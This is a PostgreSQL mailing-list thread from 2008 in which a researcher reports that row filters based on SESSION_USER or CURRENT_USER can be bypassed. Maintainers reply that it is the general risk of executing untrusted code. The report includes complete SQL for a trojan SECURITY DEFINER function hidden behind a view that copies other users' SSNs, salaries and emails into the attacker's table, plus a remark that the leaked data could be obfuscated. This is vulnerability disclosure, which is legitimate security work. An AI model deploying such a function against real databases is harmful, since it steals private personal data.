public inbox for [email protected]
help / color / mirror / Atom feedBUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe
6+ messages / 6 participants
[nested] [flat]
* BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe
@ 2008-03-31 20:55 Lars Olson <[email protected]>
2008-03-31 21:36 ` Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Heikki Linnakangas <[email protected]>
2008-03-31 21:46 ` Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Tom Lane <[email protected]>
0 siblings, 2 replies; 6+ messages in thread
From: Lars Olson @ 2008-03-31 20:55 UTC (permalink / raw)
To: [email protected]
The following bug has been logged online:
Bug reference: 4074
Logged by: Lars Olson
Email address: [email protected]
PostgreSQL version: 8.3.1
Operating system: Windows XP
Description: Using SESSION_USER or CURRENT_USER in a view definition
is unsafe
Details:
Creating a view that depends on the value of SESSION_USER enables a
minimally-privileged user to write a user-defined function that contains a
trojan-horse to get arbitrary data from the base table. Using CURRENT_USER
instead still enables a similar vulnerability.
To reproduce the problem, create three users, alice (base table owner), bob
(attacker), and carol (other minimally-privileged user). As Alice, create
the following table and view:
CREATE TABLE employee(
name varchar(50) unique,
ssn int,
salary int,
email varchar(30));
INSERT INTO employee VALUES('alice',123456789,70000,'[email protected]');
INSERT INTO employee VALUES('bob',234567890,70000,'[email protected]');
INSERT INTO employee VALUES('carol',345678901,70000,'[email protected]');
CREATE VIEW employee_view AS
SELECT * FROM employee
WHERE name=SESSION_USER;
GRANT SELECT ON employee_view TO bob,carol;
At this point, Bob and Carol should both be able to access their own
employee data by executing SELECT * FROM employee_view; but not each other's
data.
As Bob, create the following tables, function, and view:
CREATE TABLE picnic(
username varchar(50),
assignment varchar(50));
INSERT INTO picnic VALUES('alice','chips');
INSERT INTO picnic VALUES('bob','drinks');
INSERT INTO picnic VALUES('carol','salad');
CREATE TABLE employee_leaked_data(
username varchar(50) unique,
ssn int,
salary int,
email varchar(30));
CREATE FUNCTION leakInfo()
RETURNS BOOLEAN AS $$
DECLARE
name1 varchar(50);
ssn1 int;
salary1 int;
email1 varchar(50);
BEGIN
FOR name1, ssn1, salary1, email1 IN SELECT * FROM employee_view LOOP
BEGIN
INSERT INTO employee_leaked_data VALUES (name1, ssn1, salary1,
email1);
EXCEPTION WHEN unique_violation THEN
UPDATE employee_leaked_data SET ssn=ssn1, salary=salary1,
email=email1
WHERE name=name1;
END;
END LOOP;
RETURN true;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
CREATE VIEW picnic_view AS
SELECT * FROM picnic WHERE leakInfo();
GRANT SELECT ON picnic_view TO alice, carol;
As Carol, query Bob's table:
SELECT * FROM picnic_view;
Bob can now view Carol's employee information:
SELECT * FROM employee_leaked_data;
If Alice uses CURRENT_USER instead of SESSION_USER, Bob can still execute a
similar attack if he defines function leakInfo() with SECURITY INVOKER
instead of SECURITY DEFINER, and then grants privileges on
employee_leaked_data:
GRANT SELECT,INSERT,UPDATE ON employee_leaked_data TO alice, carol;
In this case, Alice and Carol might be able to notice the existence of this
table and detect the information leakage, however the data could be
obfuscated or even encrypted to counter this.
It's difficult to say exactly how such a problem should be fixed. Clearly a
simple solution is that SESSION_USER and CURRENT_USER should not be used for
evaluating view conditions, and perhaps this should be added to the
documentation.
This is highly related to a paper I am preparing for a security conference
that I am submitting in two weeks. Sorry about the short notice, I only
just thought of this problem yesterday. I would like to use this as an
example in my paper, but I will not do so without PostgreSQL's permission.
Please advise.
^ permalink raw reply [nested|flat] 6+ messages in thread
* Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe
2008-03-31 20:55 BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Lars Olson <[email protected]>
@ 2008-03-31 21:36 ` Heikki Linnakangas <[email protected]>
1 sibling, 0 replies; 6+ messages in thread
From: Heikki Linnakangas @ 2008-03-31 21:36 UTC (permalink / raw)
To: Lars Olson <[email protected]>; +Cc: [email protected]
Lars Olson wrote:
> Creating a view that depends on the value of SESSION_USER enables a
> minimally-privileged user to write a user-defined function that contains a
> trojan-horse to get arbitrary data from the base table. Using CURRENT_USER
> instead still enables a similar vulnerability.
>
> To reproduce the problem, create three users, alice (base table owner), bob
> (attacker), and carol (other minimally-privileged user). As Alice, create
> the following table and view:
> ...
This seems to be an instance of the general trojan-horse problem
discussed here:
http://archives.postgresql.org/pgsql-hackers/2008-01/msg00268.php
In a nutshell, it's just not safe to access a view or function owned by
a user you don't trust. :-(
--
Heikki Linnakangas
EnterpriseDB http://www.enterprisedb.com
^ permalink raw reply [nested|flat] 6+ messages in thread
* Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe
2008-03-31 20:55 BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Lars Olson <[email protected]>
@ 2008-03-31 21:46 ` Tom Lane <[email protected]>
2008-03-31 22:04 ` Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Dave Page <[email protected]>
1 sibling, 1 reply; 6+ messages in thread
From: Tom Lane @ 2008-03-31 21:46 UTC (permalink / raw)
To: Lars Olson <[email protected]>; +Cc: [email protected]
"Lars Olson" <[email protected]> writes:
> Creating a view that depends on the value of SESSION_USER enables a
> minimally-privileged user to write a user-defined function that contains a
> trojan-horse to get arbitrary data from the base table.
This example proves nothing except that you shouldn't execute untrusted
code --- Carol gave up her data by willingly executing Bob's function.
I don't think that the use of SESSION_USER is particularly to blame.
There are certainly any number of other ways Bob could have abused
her trust here.
> This is highly related to a paper I am preparing for a security conference
> that I am submitting in two weeks. Sorry about the short notice, I only
> just thought of this problem yesterday. I would like to use this as an
> example in my paper, but I will not do so without PostgreSQL's permission.
> Please advise.
If this were a security issue, you already spilled the beans by
reporting it to a public mailing list; so I'm unsure what you are
concerned about.
regards, tom lane
^ permalink raw reply [nested|flat] 6+ messages in thread
* Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe
2008-03-31 20:55 BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Lars Olson <[email protected]>
2008-03-31 21:46 ` Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Tom Lane <[email protected]>
@ 2008-03-31 22:04 ` Dave Page <[email protected]>
2008-03-31 22:22 ` Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Alvaro Herrera <[email protected]>
0 siblings, 1 reply; 6+ messages in thread
From: Dave Page @ 2008-03-31 22:04 UTC (permalink / raw)
To: Tom Lane <[email protected]>; +Cc: Lars Olson <[email protected]>; [email protected]
On Mon, Mar 31, 2008 at 10:46 PM, Tom Lane <[email protected]> wrote:
> If this were a security issue, you already spilled the beans by
> reporting it to a public mailing list; so I'm unsure what you are
> concerned about.
I'd wager that Lars didn't realise the bug form goes straight to the
list. We should probably make that more clear.
On the other hand it does say to report security issues to security@...
--
Dave Page
EnterpriseDB UK Ltd: http://www.enterprisedb.com
PostgreSQL UK 2008 Conference: http://www.postgresql.org.uk
^ permalink raw reply [nested|flat] 6+ messages in thread
* Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe
2008-03-31 20:55 BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Lars Olson <[email protected]>
2008-03-31 21:46 ` Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Tom Lane <[email protected]>
2008-03-31 22:04 ` Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Dave Page <[email protected]>
@ 2008-03-31 22:22 ` Alvaro Herrera <[email protected]>
2008-05-09 03:37 ` Submitting security bugs Bruce Momjian <[email protected]>
0 siblings, 1 reply; 6+ messages in thread
From: Alvaro Herrera @ 2008-03-31 22:22 UTC (permalink / raw)
To: Dave Page <[email protected]>; +Cc: Tom Lane <[email protected]>; Lars Olson <[email protected]>; [email protected]
Dave Page wrote:
> On Mon, Mar 31, 2008 at 10:46 PM, Tom Lane <[email protected]> wrote:
> > If this were a security issue, you already spilled the beans by
> > reporting it to a public mailing list; so I'm unsure what you are
> > concerned about.
>
> I'd wager that Lars didn't realise the bug form goes straight to the
> list. We should probably make that more clear.
>
> On the other hand it does say to report security issues to security@...
Let's have a checkbox "I am reporting a security issue" and send the
mail to security@ if checked.
--
Alvaro Herrera http://www.CommandPrompt.com/
The PostgreSQL Company - Command Prompt, Inc.
^ permalink raw reply [nested|flat] 6+ messages in thread
* Submitting security bugs
2008-03-31 20:55 BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Lars Olson <[email protected]>
2008-03-31 21:46 ` Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Tom Lane <[email protected]>
2008-03-31 22:04 ` Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Dave Page <[email protected]>
2008-03-31 22:22 ` Re: BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Alvaro Herrera <[email protected]>
@ 2008-05-09 03:37 ` Bruce Momjian <[email protected]>
0 siblings, 0 replies; 6+ messages in thread
From: Bruce Momjian @ 2008-05-09 03:37 UTC (permalink / raw)
To: Alvaro Herrera <[email protected]>; +Cc: Dave Page <[email protected]>; Tom Lane <[email protected]>; Lars Olson <[email protected]>; pgsql-www
Alvaro Herrera wrote:
> Dave Page wrote:
> > On Mon, Mar 31, 2008 at 10:46 PM, Tom Lane <[email protected]> wrote:
> > > If this were a security issue, you already spilled the beans by
> > > reporting it to a public mailing list; so I'm unsure what you are
> > > concerned about.
> >
> > I'd wager that Lars didn't realise the bug form goes straight to the
> > list. We should probably make that more clear.
> >
> > On the other hand it does say to report security issues to security@...
>
> Let's have a checkbox "I am reporting a security issue" and send the
> mail to security@ if checked.
Do we want to do this?
--
Bruce Momjian <[email protected]> http://momjian.us
EnterpriseDB http://enterprisedb.com
+ If your life is a hard drive, Christ can be your backup. +
^ permalink raw reply [nested|flat] 6+ messages in thread
end of thread, other threads:[~2008-05-09 03:37 UTC | newest]
Thread overview: 6+ messages (download: mbox mbox.gz follow: Atom feed)
-- links below jump to the message on this page --
2008-03-31 20:55 BUG #4074: Using SESSION_USER or CURRENT_USER in a view definition is unsafe Lars Olson <[email protected]>
2008-03-31 21:36 ` Heikki Linnakangas <[email protected]>
2008-03-31 21:46 ` Tom Lane <[email protected]>
2008-03-31 22:04 ` Dave Page <[email protected]>
2008-03-31 22:22 ` Alvaro Herrera <[email protected]>
2008-05-09 03:37 ` Submitting security bugs Bruce Momjian <[email protected]>
This inbox is served by agora; see mirroring instructions
for how to clone and mirror all data and code used for this inbox